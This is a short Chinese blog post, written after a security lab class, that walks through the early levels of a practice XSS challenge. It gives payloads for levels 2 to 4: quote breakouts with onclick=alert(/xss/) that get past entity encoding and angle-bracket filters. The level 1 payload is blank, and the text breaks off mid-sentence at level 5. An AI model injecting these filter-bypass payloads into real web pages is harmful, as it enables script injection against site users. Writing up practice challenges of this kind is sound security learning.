前言
写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下。有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战平台进行实现。
level1
未进行过滤,直接输入payload
payload:
level2
发现对html特殊符号进行了实体编码,
payload:" οnclick=alert(/xss/)><"
当然需要点击一下触发
level3
编码了双引号,但是源码里用的单引号,用单引号构造即可
payload:'οnclick=alert(/xss/)><'
level4
过滤了<>符号,我们只能用事件绕过,这里利用浏览器的容错特性,不闭合直接注释也能执行
payload:" οnclick=alert(/xss/)//
level5
有两处输出的地方,第一处对特殊符号进行了实体编码,第二处将on开头的事件全部替换加下斜杠,也将